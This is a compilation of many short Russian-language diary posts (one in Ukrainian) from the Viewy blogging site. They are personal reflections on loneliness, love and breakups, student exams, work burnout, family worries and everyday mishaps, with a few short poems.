Вьюи нужна помощь! [UPD 31.03.2021 05:10]

Но я выбрал тебя как проводник, Как мой маяк, как мой магнит. В этом безумном мире лжи. Но я выбрал тебя, Основа основ, мой талисман, Мой нежный зов. В этом безумном мире лжи.

спать до обеда, "прогуливая" учебу, ругать себя за это, а после идти на холодную кухню наливать кофе, ругая себя, заранее зная, что завтра будет тяжело вставать. но мне нравится, что ночью все проще.

иногда мне хочется оказаться в другом месте, в другом городе, в другой одежде.делать то, что мне не свойственно.поехав впервые работать на море в одиночку, я поняла, что мне необходимы грани, необходимо переступать их, чувствовать . срываться куда-то.разговаривать с незнакомцами.вдруг танцевать, хотя раньше стеснялась.для кого-то это пустяки, а у меня это, кажется, в крови.я настолько часто нахожусь в яме, что дурацкие пустяковые мелочи жизни срывают мне крышу. мне нужны новые квартиры, улицы, общение, музыка из американских 70-х.я отчаянно хочу влюбиться, и потому каждому зацепившему меня человеку придумываю свою историю.у меня нет друзей.есть хорошие, давние и неочень давние знакомые, с которыми больше по привычке, разойтись как-то глупо, незачем. есть воспоминания, очень теплые, которые вызывают внутри бурю эмоций, но сейчас это скорее неприятно.

мое переменчивое настроение меня медленно убивает.я не могу держать обещания, да и давно ничего не обещаю, даже себе.

тяжело окунаться в жизнь, живя по старому сценарию, идя домой думаю, что могла пройти этот путь с закрытыми глазами, до того он мне знаком, до тошноты. не известно, когда я отсюда вырвусь.

меня уже даже фильмы не радуют, мое вечное спасение. невзгод особых нет, но и счастья нет.жизнь кажется фальшивой порой, слишком часто.

И вы стоите друг перед другом, гордые и не-сломленные. Ты, на пьедестале и с флагом в руках, и он, пачкая новые кеды в асфальте. Позади тебя - миллионы людей, взрывы, огни, мольбы и слезы, позади него - танки, пустошь и панк-рок на звонке будильника. Он читает "Я НЕ ЛЮБЛЮ ТЕБЯ" на твоем флаге. Толпа за тобой ликует, взывает к богу, распаленная и взволнованная. Ты воинственно откидываешь белесую челку со лба и смотришь волком-победителем в его глаза. Он в замешательстве. Он не видит, что на обратной стороне фрага, обращенной к толпе, написано "Я ТЕБЯ ЛЮБЛЮ".

Это воскресенье было пропитано теплом, новогодней атмосферой, что мне и сейчас хочется закупиться мандаринами, напечь печенья и начать наряжать ёлку. Запомнить все до мельчайших подробностей. И вкусный обед, и смех, и рука в руке, и покупка подарков и встречу общих знакомых, да и вообще нас в эти выходные. Суббота тоже кстати не отстает, прятать руки к тебе в карманы вошло в привычку, ибо холодно, ибо замерзаю, а ты согреваешь ни смотря ни на что. До зимы совсем немного, а ты меняешь наши стаканчики с лимонадом, т. к. мне попалось очень много льда и будет не так вкусно. Замечаю любовь в мелочах.

Сейчас второй час ночи, и мне немного грустно.

Отчасти потому, что я в Москве (невероятно, ведь Москва мой родной и самый любимый город, но я скучаю по уютной Австрии).

Отчасти потому, что свой день рождения я провела с температурой, задыхаясь от кашля (ну, бывали дни рожденияи хуже в моей жизни, правда).

Отчасти потому, что я сомневаюсь в том, смогу ли справиться с выбранной профессией (или все вокруг правы, и я совсем не подхожу для нее).

Отчасти потому, что единственное место, где я могу все это рассказать/написать - это viewy (за это я и люблю viewy, но хотелось бы иметь друзей, таких друзей, которым сможешь сказать все, о чем пишешь в блог).

Если у вас есть такие друзья - верные, любящие, готовые придти на помощь или просто придти , то вы очень-очень счастливые люди, и я вам немного завидую.

А если нет…

То, по крайней мере, у нас есть viewy.)

Ваша Л.

  • некогда любимый сайт снесли навсегда (rip история лолочки и куча левых акков
  • хреново получается исправляться (впрочем, как всегда)
  • пить таблетки начала (+)
  • прониклась Кафкой, такой же параноик на которого давит система
  • снова разочаровалась в своей любви и людях, хоть немножко поболтала, но не с теми.хнык (+--)
  • чет сдвинулось с курсачом, спс моему идейному вдохновителю, среда жди меня (+- его написать бы еще)
  • со смоленки ох=ла, не нравится мне это (-)
  • пытаюсь хоть что-то читать, пока тщета

Каждый раз, когда у меня что-то не выходит - меня успокаивают фразами: "значит не твое", "видимо, тебе это не нужно", "не судьба". И после очередной неудачи спрашиваю мир и себя: а в этой Вселенной вообще есть карьерное МОЕ? Есть ли работа, предназначенная лично мне, которая сделает меня счастливой и принесет много денег?

Обычный будний день, я была ещё на первом курсе, была ещё наивной малышкой, чьё сердце не разбил один гад, служивший на тот момент в армии. Пары, пары, пары…всё это не интересно. Преступлю сразу к той части, когда я поняла, что вероятность влюбиться в него составляла 10 из 10 %. Мне нужно было выйти из корпуса, но я забыла свой пропуск. Банальность, но он предложил мне свой. Вы меня слышите? Пропуск..предложил мне пропуск.

Теперь же, когда мои отношения с Д сошли на "нет" и я обрела полную свободу, я решила вляпаться в полное говно в очередной раз. Каждый раз я замечаю твой взгляд на себе. Ты не поверишь, но я краснею и робею. Даже с мистером "любовь всей моей жизни" я никогда так не робела. Но, у каждого в мире человека были или есть незаконченные отношения, я это назваю " по кругу". По кругу - это когда ваши отношения не могут прекратиться, хотя вы оба уже устали и надоели друг другу, но вы же должны быть вместе. Я вам вот так скажу: вы нихуя не должны быть вместе. В случае вашего круговорота - бегите прочь, и подальше. Но вернемся к теме связанной с парнем "Х". Он не является исключеием и похоже тоже идёт по кругу с малышкой по имени Аня. Конечно я его понимаю, ведь я так убивалась четыре с половиной года. Но факт остается фактом - я полностью и беспощадно на него запала. Почему он мне нравится? В нём есть что-то очень необычное, опасное, манящие мою задницу ближе к нему. Его необычные манеры, его взгляд, даже его борода, будь она неладна. Это совсем не входило в мои планы. Я же сильная и независимая, ну. Если я не начну контролировать себя, может случиться беда…еси она уже не случилась.

Иии я снова дошла до полной апатии…Желание уволиться растет. Не вышло, как я планировала, повышения не будет. Знаю, что одно падение - не приговор, но неудачи всегда меня приземляли. После них я не умею быстро встать на ноги и снова карабкаться вверх. Я впадаю в спячку и чувствую себя неудачницей. Наверное, именно потому я в свои 23 до сих пор не успешная, богатая, руководящей должности женщина, которой планировала быть, а девушка, которая не может себе позволить купить пару платьев, которой некуда надеть платье и не с кем пойти на веселую вечеринку.

в детстве ты читал жюль верна
ты думал, что впереди все так интересно, наверное

а сейчас, кроме завтрака в маке мало что радует
и, если закрыть глаза,
то там все время
что-то
падает
падает

ты, конечно, можешь сказать "i am sorry "
и лить этих дней жидкое молоко

но помни, что море
это там, где действительно
глубоко


зима приближается, я снова чувствую страх.сегодня узнала, что у моей бабули остеохондроз последней степени.это серьезно.это когда шея постепенно перестает функционировать.когда в конечном итоге это может вылиться в обмороки, паралич.. мне так страшно.я осознаю, что люди не вечны, но когда это так близко..когда знаешь, что твоему близкому человеку намного хуже, чем тебе. надо пытаться не думать о плохом, я знаю.я уже давно собиралась пожить у нее, пока нет деда, и завтра наконец переберусь к ней.будем пить чай и болтать часами на ламповой кухне, как обычно.все хорошо.

завтра иду в колледж.из дома не выходила четыре дня, уже отвыкла от своего лица. затишье придает мне сил.. вроде реабилитации.писать не о чем, сказать нечего, а говорить хочется.я соскучилась по разговорам.а приходится только писать.

Крик души. Я вспоминаю свои студенческие годы, конечно же, как самое лучшее и весёлое время моей жизни. Но есть одна извечная проблема, за которую я ненавижу ВУЗы, и имя ей - зимняя сессия. В общем-то, даже не сама она, а дурацкая мода ставить экзамены аккурат к Новому году и сразу после него. Помню свой первый курс: действительно, почему бы и не сдать латынь 2 января в восемь утра, когда и маршрутки-то нормально не ходят? Я тогда всеми правдами и неправдами добралась до универа, чтобы узнать, что у меня автомат, кстати. Вот было весело! На втором курсе была, вроде, биохимия. На пятом - хирургия. На шестом - тоже хирургия, но детская. Где логика? Но у меня в меде хотя бы сессии не было, модуль можно было сдать и немного позже, на последних двух курсах я обнаглела и сделала так, забив на всё и уехав в Карпаты. Но вот именно из-за конченого экзамена моя сестра не сможет приехать ко мне на Новый год (и тогда же у неё День рождения). Шикарно, просто шикарно. Хоть бы на праздники уже давали несколько выходных подряд, но кто и когда у нас о студентах заботился?

"Найди в себе силы перестать спорить с тупыми.
Да, факты и здравый смысл на твоей стороне,
но на стороне тупых сила тупых"

Очень тяжело общаться с человеком, когда он тупой, слышит только себя и, соответственно, свято и непоколебимо убежден в своей правоте. Дело усугбляет и тот факт, когда его бомбит, когда где-то в душе он понимает, что ты умнее его, и поэтому его несет еще сильнее, а аргументы его от этого становятся только бредовее.
Особенно тяжело, когда это твой отец.
Я понимаю, что сейчас в меня полетят куриные какашки, типа, как так можно о родителях, бла-бла-бла… Но знаете, тут просто по-другому не скажешь, ибо это, увы, горькая реальность. Я далеко не единственный, у кого напряженные отношения с кем-то из родителей, но причины обычно в недопонимании, разнице поколений, строгости и все такое, но в моем случае проблема именно в непробиваемой тупости. И вообще тут никаких адекватных коммуникаций не выходит, хоть ты тресни.

Мне очень жаль смотреть как люди рушат серьезные отношения.Когда у вас прошли почти все периоды, вы знакомы с родителями и представляете как воспитываете своих детей и случается разрыв. Люди не понимают что шанс найти любовь очень мал, и если ее просрать, то можно больше не встретить, не полюбить так же, не доверять так же, измениться. Не цените и взрываете мозг по пустякам, изменяете ради минутного блаженства, постоянно ищите лучше.Но нет.Самое страшное для меня проснутся с человеком, прожив с ним долгое время, и понять что я его не люблю.Поэтому жаль.

Ох, как же я уже хочу зиму, снег, Новый год, герлянды, мандарины, запах елки, праздничные рекламы и просто чуда, волшебства, которое дарит зима. Надеюсь, следующий год станет для меня лучше, чем этот.

Доброй ночи, Viewyland! Мне понадобилось целых шестнадцать дней, чтобы наконец выделить время для написания полноценного поста на блоге. Хотя, честно говоря, мне казалось, что я отсутствовала здесь неделю или около того. Возможно, все из-за того, что я все равно заходила сюда, хоть и на пару минут, чтобы прочесть ленту.

На самом деле, за эти две недели столько всего произошло, и в то же время практически ничего. Думаю, стоит начать с того, что я собиралась уволиться. Даже более того, я не только собиралась, я позвонила начальству, объяснила ситуацию и приняла решение уйти. После этого разговора меня попросили не торопить события и подумать немного обо всем. Также пообещали разгрузить нас немного, прислав помощь в виде новых коллег. Я согласилась, так как на горизонте никакая другая карьерная возможность не маячит, пока. А просто сидеть дома тоже не хочется.

Из-за того, что я перетрудилась, у меня начались проблемы со здоровьем. Я действительно была как выжатый лимон. Даже студенты видели насколько уставшей я была, приносили шоколад для поднятия сил и настроения. Со здоровьем все наладилось. Но физически и морально ничего не изменилось. И сегодня, по дороге домой, меня осенило: вот вся эта нагрузка убила во мне интерес, этот ежедневный восторг о начале каждого рабочего дня и любовь к данному занятию. Нет, любовь к английскому и другим языкам осталась прежней. Но, я как будто застряла в карьерном плане. Я не вижу и не чувствую развития. А я люблю всегда идти вперед. Ставить себе цели и добиваться их. У меня еще есть такая черта характера, что если пропадает интерес - никакие сладкие обещания не смогут переубедить меня. Поэтому, не знаю сколько продержусь на данной должности, так как и силы, и желание заниматься этим стремительно пропадают.

И о возвращении домой. Как-то на работе говорили об осени, и наш менеджер обмолвилась о том, что есть определенная прелесть в голых деревьях. Я не совсем согласна с этим. Да, каждое время года прекрасно по-своему. Но, говоря об осени, мне больше нравится период сентябрь-октябрь. Видеть изменения и переход от лета к осени. И эти желтые листья, необычный воздух ассоциируются у меня именно с этим временем. А сейчас, смотря на облетевшую листву и голые деревья, у меня возникает лишь одно чувство при виде данной картинки - тоска. Они действительно выглядят такими одинокими и опустошенными, что у меня возникает огромное желание их укутать во что-нибудь теплое. Глупо, не так ли? Видимо именно этот период и нагоняет тоску на людей. Чем бы вы не занимались, где бы не находились, и что бы вас не ожидало в будущем, я желаю вам прекрасной недели! Согревайтесь теплым чаем и объятьями родных людей. И, конечно же, не забывайте улыбаться. Именно улыбка может скрасить любой день, каким бы серым он ни был.

И во всем зиккурате вечных жданий и повторений "я устала", никто не будет подтирать твои сопли, никто не забросит тебя в тот розовый мир, которого ты так ждешь. Хотя цвет тут не принципиален.

Ничего не будет, а все, что ты можешь сделать - лелеять себя и тянуть время.

Мне кажется, внутри меня-вселенная. Она невообразимо огромная! С каждым днем она все больше и больше. Глубокая, со множеством звезд и планет…Каждая моя мысль-новая звезда в моей вселенной. Каждая новая встреча, каждое место-новая система. Как наша, солнечная. Ты не поверишь, внутри меня живут люди! Да-да! Каждый встреченный мной человек начинает жить в моей вселенной Он тоже светится, как звездочка, только свет отличается. Кто-то тусклее, кто-то ярче. Зависит от того, как близок он мне. Но главное даже не то. Главное, что даже если я видела его всего раз - он все равно остается в моей вселенной. Навсегда. Знаешь, так здорово ощущать внутри себя целую вселенную. Она греет меня. Меня греют мои звезды. Мои мысли. Я закрываю глаза и вижу этот свет. Эти летающие кометы, астероиды. Это все горит во мне. Излучает свет, которым я хочу делиться со всеми. И знаешь… Я жду. Я жду человека, который увидит этот свет. Который посмотрит в мои глаза и заметит в них мои звезды, заметит эти кометы и будет вглядываться в эту большую вселенную, как завороженный. С этим человеком я поделюсь светом. Я буду греть его теплом маленьких планет. Я подарю ему свою вселенную.

Я не плохой человек.Стараюсь делать правильные вещи, стараюсь делать людей счастливыми, но всегда находится тот, кто считает, что ты стараешься не достаточно.Тот, кто убеждает тебя в том, что ты не созидаешь, а разрушаешь.И само ужасное во всем этом, что сколько бы других людей не говорило нам обратное, мы запоминаем его слова.Мы считаем себя имено такими лживыми, недостойными, расстраивающими.Так как же, черт возьми, зная обо всем этом можно все это перерасти?Как снова стать тем, кто верит в себя и несет эту уверенность другим?Вопрос остается открытым.

Без жертвенного участия братьев наших меньших в моей челюсти не обошлось. Не успела я отбрехаться от посадки костной ткани свиньи, как сейчас намазала чудо-пасту и узнала, что она из крови "здоровых телят". Спасибо им за это. Врач у меня очень хороший. Я ожидала какой-то жести, но обошлось. Даже как-то обидно, что нельзя корчиться в кровати. Можно только сплевывать сгустки крови, как в каком-нибудь фильме после добротной драки, в общем, ничего примечательного.

Вся твоя жизнь, это череда потерь: доверия\мечт\девственности\реальности\себя. Все рушится в один момент, как цунами накрывает черной пеленой. Не ищи объяснений, не карай Бога. Жизнь циклична, ты переходишь из одной реальности в другую и так до бесконечности. Нет безвыходных ситуаций, есть понятие того, что тебе надо на самом деле и твои желания, все остальное не имеет значения. Ты имеешь право выбора, главное прислушаться к голосу в голове и понять истинные желания. Понять себя. Все остальное шум. Умей фильтровать мысли. Умей слушать себя.

Мне так смешно это всё читать. Сейчас на аске у всех полетели вопросы, мол, "какими чертами характера должен обладать парень, чтобы тебе понравится?" и почти все, как одна перечисляют кучу всяких пунктиков, среди которых обязательно есть "может включить мудака и игнорить меня", "люблю запах сигарет, поэтому пусть курит", "карие глаза, я люблю исключительно кареглазых" и ещё очень много подобной чуши. Сразу можно понять, что люди, скорее всего, ещё не влюблялись по-настоящему в этой жизни. Любовь не ищет идеалов, любовь не подстраивается под какие-то образы, выдуманные нами ночью, ей вообще плевать хочешь ты курящего или нет, кареглазого или голубоглазого. Любовь не спрашивает "а вот этот тебе нравится, а вот у этого характер нормальный?". Любовь немая. Не спорю, есть те, кто нашёл именно то, что искал. Но всё равно, с опытом, с новым человеком, который открывает для тебя это чувство в новой форме, ты начнёшь понимать, что любовь заключается совсем в других вещах.Он поправляет рубашку и тебе нравится. Он поправляет волосы левой рукой, а не правой, а ты замечаешь это и, почему-то, влюбляешься именно в этот жест. Он так смешно кривит лицо спросони, что невольно начинаешь смеяться, а внутри расцветает любовь. Как-то случайно замечаешь родинку на правой ключице и она становится местом, которое всегда хочется целовать. Я тоже когда-то думала, что мне нравятся плохие, курящие, мудаки и прочее, и в принципе, я влюбилась в такого человека, да. Мой любимый человек далеко не принц из сказок, в нём очень много отрицательного и мало положительного, я не отрицаю этого. Но я люблю его. Люблю за шрам над правой бровью. Люблю за родинки по всему телу. Люблю за то, как он сдерживает смех. Люблю за то, как он убирает волосы с моего лица. Люблю за всё. И если у меня спросят про какие-то черты характера, которые мне нравятся в парнях, то ответа я на этот вопрос не дам, ибо знаю одно, что своего человека нужно просто почувствовать, как только ты почувствуешь, что это твоё - всё остальное будет совсем не важно.

Уже целых 5 дней у меня длятся отношения….с библиотекой! Утром я встаю и быстро-быстро собираюсь, не накрашенная, с домашним пучком и термосом кофе я иду в это прекрасное место. Тот, кто придумал библиотеки-Бог! Именно там я думаю о себе, о своей учебе и будущем. Мне так приятно и комфортно. Боже мой. Да, там есть люди, но они занимаются своими делами. Меня никто не трогает. Я чувствую внутреннее спокойствие, равновесие. Возвращаюсь домой обессиленная, но счастливая. Придя домой, валюсь спать….наступает новый день..и снова туда.
Боже, спасибо, это самые лучшие отношения в моей жизни!

Происходит какая-то *опа. Простите, все валится по накатанной.

Ныне прослушиваемые песни полностью передают моё настроение. Но кому до этого дело? Время 1 ночи, а не заснуть.

Я в шоке, не могу передать своё состояние. Устала, а до декабря я точно не поеду домой, потому что я не хочу потом это все отрабатывать. Асе слишком сложно.

Когда уже пройдёт эта зебра из полос. Одних чёрных. Сколько смертей за этот тупой год. Ненавижу его.

Бесит, жесть

Спокойной ночи всем!

Как же давно я не писала на вью.
И не оттого, что занята была безумно. Скорее как раз оттого, что ничего не происходило где-то полгода.
Хочется сказать лишь то, что любой город может стать чужим. Даже тот, к которому ты долго стремился. Из-за людей скорее всего. Плевать.
Последнее время я гребаное "Плевать" произношу чаще, чем "Привет" и прочие слова-шаблоны.
Недавно была на концерте найтивыход, там нашла свою компанию. Из…эммм…31 человека. Через месяц нас станет меньше в раза 2, но все равно хоть кто-то.
А название поста. Хм, отображает то, что в голове творится. Земфира как всегда, в общем.)
Я сука смогла отпустить всех сраных мудаков из жизни. Я впервые горжусь собой, как никогда. Так долго не могла этого совершить. Игнорирую любые позывы с противоположных сторон. Осознала, что слабость надо просто преодолевать и любить себя больше, чем кого-либо другого. А недавно просто пришла к пониманию того, что всё, мне как раз то самое Плевать.
И такая свобода. Безграничность. Впервые я это все ощущаю.

дай
волю мне
море.

В сентябре я мало писала. Но помните того парня, что признался мне в симпатии в конце лета (назовем его Ю) ? Мы с ним ходили на свидания, он знакомил меня с друзьями. Короче говоря, мы вроде как встречались. Он даже назвал меня однажды своей девушкой. С чего и началась эта история.

На одном из мероприятий, где Ю был участником, я присутствовала по его просьбе. Там было много его друзей и одному из них я понравилась. Поскольку я человек не такой, его притязания сразу были отергнуты. На что я получила еще большую дозу странных ухаживаний. Грубо говоря, он видел во мне только лицо, волосы и грудь. Меня это даже не бесило особо - приятно, когда тебе делают комплименты, но никогда бы не бросила парня, который видел во мне человека и личность ради того, кто даже не поинтересовался моими интересами.

Намеки уже калили до безумия. Однажды мы с одноклассницами немножко сходили в Эру. Там был и этот парень (пусть будет Р). Он словил меня курящей на улице и предложил согреть. Я сказала, что Ю был бы против, да и я не хочу. И тут он такой: "Да чем тебе этот Ю нравится? Он же мелкий и стремный. Зачем такой кошке, как ты, такой, как он. Вы плохая пара". К слову, Р подкаченный достаточно и симпатичный в принципе.

После этих слов я взорвалась. Примерно то, что я ему сказала:

"Слушай сюда, умник. Если ты думаешь, что я променяю человека, который ценит во мне личность, в первую очередь на такого мудака, как ты, который хочет только потрахаться, то ты дико ошибаешься. И поверь, я видела парней с красивым лицом, телом, бородой, большим членом, но все они были похожи на тебя - мудака, потому что все, что их во мне интересовало, это секс. И если ты ценишь людей только за их внешность, встречаясь с телками с большим орехом и сиськами навыкат, то у меня для тебя плохие новости - ты имбецил."

Затушила сигарету и ушла.

После этого меня удалили из друзей, никогда больше не видели, а слухи в ИИФиРЭ обо мне ходили, как о ненормальной. К слову, с Ю мы долго не провстречались. Поняли, что нет между нами больших чувств. И мы не переспали (!), что очень важно, так как он не торопил все это. Второй настоящий мужчина в моей жизни. Рассказала бы о нем больше, но нет смысла уже.

Корейские сериалы? про любовь?
- Неет, да ни в жизнь.
Сколько они идут ЧАС?!
Определенно нет.

Я тут заметила что попалась в сети дорам, всяких манг и о Боже. Ну что тут скажешь. огх.

Очевидно, это не пройдёт само собой, на что я очень надеялась, и насильно это тоже не отгонишь. Умом понимаю, что нам и общаться не надо, потому что он вряд ли мой человек, и что он бы сам уже миллион раз написал, если бы хотел, и что он проставщик самый натуральный, но всё равно уняться не могу. Бесит, что я словно тупая малолетка. Будто мне снова 10 и я тихонько мечтаю о том, что вот когда-нибудь он понесёт мой портфель и проводит меня до дома. В общем, если уж разум не может одолеть глупые сиюминутные порывы души, придётся вмешаться и написать самой. Там уже и видно будет, был ли смысл так трястись или всё уже упущено. Так что, если до завтра моё желание останется прежним, я напишу. Вероятнее всего нет, потому что я уже выплеснула сюда всё, что не могла сказать кому-либо из тех, кто мог бы заключить, что я дура и не надо мне никому ничего писать.

короче дело было так, я проснулась в 7 утра, поняла, что жизнь-член и поспала еще 45 мин, потом приняв душ и покушав хлопья с молоком, я поебошила на работу, хочу заметить, что погода в Питере нынче днищенская и мной обладевало желание надеть все черное, НО. короче доехала я нормально, вышла из маршрутки и вся такая охуенная с наушниками в ушах поебошила в путь до работы и тут начинается самый эпик, перехожу я значит дорогу (прошу заметить на зеленый свет) и прям на меня мчит какое-то хуйло на джипе со скоростью примерно 180, меня спасла моя реакция испуганного оленя, я просто прыгнула вперед, но прыгнула не особо удачно, подскользнувшись на поребрике, я смачно рухнула в грязь на тротуаре, лежу я значит такая вся красивая, в наушниках играет Быдолцикл - Красота, как же блядь символично это все. Самое смешное, что люди продолжали ходить мимо, ну я полежала, отдохнула, встала с камменым лицом и поебошила дальше на работу. зря я не надела все черное, блядь.

x

Как в этом фильме замечательно показано рождение чувственности в героине! Её путь от "никогда не выйду замуж" до полной погруженности в свою любовь к молодому человеку. А эта сцена, где девушка вспоминает того, в кого влюблена, то, как показаны без единого слова её чувства и желания лишь в прикосновениях к самой себе, сцена, в которой так перемежаются эти воспоминания и реальность - это просто бесподобно.

И самая противная стадия. Ты не можешь представить себе кого-то другого рядом, что чужие руки к тебе прикасаются и кто-то другой целует тебя в шею. Фу. Когда сегодня до моей коленки случайно дотронулся друг с юрфака, мне хотелось или блевануть или дать ему по лицу.///простите, но кому ныть, если не вам?

Походу я опять все неправильно поняла.Подарите мне на др годовой запас наушников, и отберите немножко мозгов, которые заставляют меня надумывать разную ерунду.И страдать потом от этого.
И гроб.Мне определенно нужно полежать в гробу и достигнуть блять дзена нахуй.

" Я про вилл ю мерри ми не поняла"

На 2.9 я написала "will u marry me" и прикрепила картиночку пиццы сердечком.Да, это тупо и нихера не романтично и неправильно.но я спросила серьезно.

Чули анекдот про книгу в різних країнах про слонів?
Ніби ж починалось добре, не зважаючи на моє відчуття, що день не задасться: приїхала нормально, дійшла в метро, сама довезла сумку, невідомий геолог заніс мені її до кімнати, помила холодильник, помила весь непотрібний посуд з банками, винесла сміття, лягла на 2 години спати.
А потім, на філософії, згадала І курс І семестр - екзамен з археології: ну якого чуда люди як люди, а мені попався знову варіант з питаннями, відповідей яких у мене не було? Мда, мені би варіант Віки. Потім, інтуїція підказувала мені варіант "а" та біс божий щось мене оповив і я собі не довірилась і була переконана, що " стійкість" - істина. В секундах дізналась, що це неправильно.
Та і на латині в мене зір не дуже - я нічого не могла побачити, і читання не пішло, як в людей. Короче кажучи, дірьмо день (аналогів слова не знаю).
Не хотілось і не хочу я зараз нічого, окрім втекти кудись. Скільки можна мріяти про втечу?

Тот момент, когда ты полон вдохновения и хочешь творить всю ночь, но так устал на работе, что нет сил поднять карандаш. У меня всё.

Самое забавное, наверное, то, что неважно сколько вы до этого не общались, но когда у человека все вдруг идет по пизде, он тут же пишет мне. Я знаю, какого это, когда хочется просто порой написать кому нибудь " всё так хуево" и получить поддержку. Но когда у этих людей все ровно и, по возможности, весело, они забывают поздравить меня с днем рождения.

Скидываешь группе ответы на тест, одни даже спасибо не скажут, вторые пишут в личку, что я слишком добрая и надо было крысятничать. Давайте меня убьём, что б не мучилась?

День 31: Немного о Вашей социальной жизни за пределами Интернета.

Давайте будем откровенными - у меня почти нету социальной жизни. Я хожу в университет, помимо этого я иногда встречаюсь с Юлей на кофеечек. Частенько хожу в кино и совсем редо в театр. И….ну, это собственно все мои выходы в свет. Я не люблю гулять одной, так что поэтому я сижу дома) Да, звучит это уныло, но вот так я и живу.

Первый день моей работы в поликлинике. Все таки бабский коллектив-одна из самых гадких и неприятных вещей на свете.

Находила плюсы в том, что жутко выводило из себя и злило. Дело в том, что в таком "подстегнутом" состоянии вы готовы хлопнуть дверью и сесть за дела, до которых неделями не доходили руки.

Любые внешние раздражители могут работать на вас . Они могут изо всех сил толкать вперед, с ними вы становитесь выносливей, быстрей, лучше. Действия становятся более четкими и отлаженными. Холод наступает на пятки, и ты, жалкий и завясящий от прроды, бежишь домой не только чтобы согреться, но и что-то сделать. А может это и от того, что итак мало делаешь? Или это высвободившееся время?

Чему-то вас жизнь все-таки научила. Как бы это банально не звучало, но испить воды из грязной лужи все равно пришлось. По принуждению или по случайности- не могу сказать. Есть и грустные истории, кажущиеся сейчас донельзя абсурдными и немного смешными. Интерпретация прошлого не будит в нас те ноты отчаяния.

Странно было собираться для того, чтобы написать все это. И все равно сформулировала не так, как хотела. Были и предыстории к этой заметке, и обыденная жизнь с некоторыми "шероховатостями".

В месяце есть сколько-то чисел, отмеченных красным, а больше чисел не существует. И я живу от дате к дате, подпитываясь случаными, но очень занимательными событиями, которые не успеваешь раскладывать по полкам, как не успеваешь сложить аккуратно одежду во время увлекающего поцелуя. (извине за откровенность). Мне важен не то что сквозняк, а свежесть, от отношений должно нести свежестью, энергией, порывом. Они должны представлять собой стабильно меняющуюся кривую, в целом направленную ввысь.

Когда мы с ним еще не встречались, у нас были очень необычные отношения, поэтому я по ним, порой, скучаю. А еще он мне постоянно говорил, чтобы я не привыкала к нему. До сих пор такое чувство, хотя мы и вместе, словно он хотел меня предостеречь от какой-то ошибки. Всё-таки чужая голова с ее мыслями, анализами и чувствами - интереснейшая вещь.

сегодня я вынуждена была признаться себе, что все "совпадения" в моей жизни далеко не совпадения. потому что это слишком пиздец, что бы быть просто случайностью.

ты уже давно раскидываешь так карты, неправда ли, Мерф? ты не позволяешь мне вырваться, не даёшь мне совершить "ошибку". а если я все равно умудряюсь обойти твои подставы, ты наказываешь меня, да?

сегодня я приняла неверное решение и получила "щелчок по носу". я поняла, я больше не буду даже допускать мысли о том, чтобы вырваться.

это забавно. это по-настоящему. это не пройдёт. я осознала.

" Мы расстались, но сегодня я понял, что я оставил в себе частичку, которая безумно любит ее"

И все-таки на самом деле, начинаем ценить, когда теряем.

Сегодня я узнала то, что не должна была знать.Случайно узнала, по своей глупости и любопытству. Так вот. Теперь ничего не имеет смысла.Вообще ничего. Я морально сломлена. И самое главное-я была права.Все встало на свои места теперь.Теперь я знаю причину.Чувствую себя отвратительной, ненужной, отвергнутой, с растоптаными напрочь чувствами и надеждами.
Я даже не знаю, как описать свое состояние.
На столе стоит пойманный мною букет невесты. Какая сука ирония.
Гори все огнем.И я горю огнем.

Хочется отрезаться от всего мира, чтобы я никого не знала, и меня никто не знал, кроме любимого. Может мне тогда не будет так хуево от того, что я нахер никому не сдалась. В общем, я снова прерываю все связи общения с кем-либо из моего внешнего мира. Только чисто отвечать, если у меня что-то спросят, ну и здороваться тоже вроде как надо. Вроде.

Я ненавижу свою учебу. Что нужно каждый день ходить в белых халатах, предметы меня не интересуют, в здании всегда холодно, учителя пи**юки. И главное: я не собираюсь, не хочу и 100% не буду работать по специальности. И абсолютно не вижу смысла в таком обучении.Тем-более что я бюджетник, а значит мне прийдется 3 года отрабатывать государству за благо ниспосланное им мне на голову и давшее бесплатно портить свое время. Я была в академическом отпуске в прошлом году и востановилась в этом по настоянию родителей. Но ни год отдыха, ни новые вменяемые одногруппници не помогли мне взяться с новыми силами за это дерьмо. У меня куча хвостов и никакого желания их сдавать. И маленькая надежда в глубине души, что меня за них выгонят. Мне совсем не хочется расстраивать своих родителей, но, черт, эта херня меня слижком бесит, изматывает и угнетает. НЕ МОЕ ЭТО, НЕ МОЕ!!!!!!!!!

удаляла посты и поняла, что не так уж и всё идеально было. я забыла как мучалась, как переживала из-за всего. хорошо что есть возможность вспомнить, но это был последний раз. если уж я совсем ебанутая, что бы с сотого раза не понять, то ничем мне не помочь.

котика, которого я подобрала на улице, вроде Пашка заберет. я очень этому рада :) котей милаш, а у Паши не было кота никогда, ко всему я смогу наблюдать как котик будет становиться взрослым.

на работе выхожу на самостоятельный уровень, надо проработать 3 месяца как минимум на уровне высочайшем. выполнять показатели и тд. распланировали отпуск - взяла 5 дней в феврале на день рождение Ксюши, даже если праздновать не будем, смогу побыть с ней в эти дни.

про новый год. пока что склоняюсь к варианту "провести в одиночестве". вроде отдыхаю 31-1, и вроде есть с кем праздновать. но не то, не то.

Я всегда хотел, чтобы женщина, на каблуках и в юбке, стояла рядом, прижимаясь своим бедром к моему бедру. Чтобы для нее я значил ни в коем случае не меньше, чем значила бы для меня она. Чтобы мы редко встречались, понимали друг друга без слов и занимались любовью все выходные напролет. Чтобы мне до одури не хватало глубины ее глаз и укусов помады на моих небритых щеках. Или шее. Я не менял бы белье, если бы запах ее тела оставался на простынях, а прядь волос - на подушке. Но впоследствии боялся бы подойти к не расправленной кровати и увидеть там что-то напоминающее о ней. Я хотел бы волноваться перед ее приездом. В спешке приводил бы в порядок квартиру, а она как будто нарочно задерживалась бы в пробках, чтобы не застать меня врасплох. Я заваривал бы ей крепкий чай без сахара, а она бы варила мне самый вкусный кофе на свете. Я бы ждал ее. Ждал, пока на лестничной площадке будет слышен шум открывающихся дверей лифта, звонкий стук ее каблуков и, наконец, звонок в мою дверь. Она бы зашла в квартиру. И, не успев скинуть обувь, обняла меня. А я закрыл бы дверь, и через рубашку смог бы почувствовать с каким огромным теплом ее холодные руки гладят мои плечи. Нежно и в то же время с силой я бы сжал ее руку в своей, а она прошептала бы еле слышно, что очень ждала. Я мечтал, что буду ее любить. Нет, я знал, что буду любить ее. Безмерно, крепко, невообразимо, бесконечно и безгранично. Я бы яростно ревновал ее, но всегда удерживал. Даже через боль и горечь. Я бы не отпустил. Я бы не посмел отпустить. Я никогда бы не оставил ее и не покинул. И не требовал бы больше, чем она сама могла и хотела мне дать. 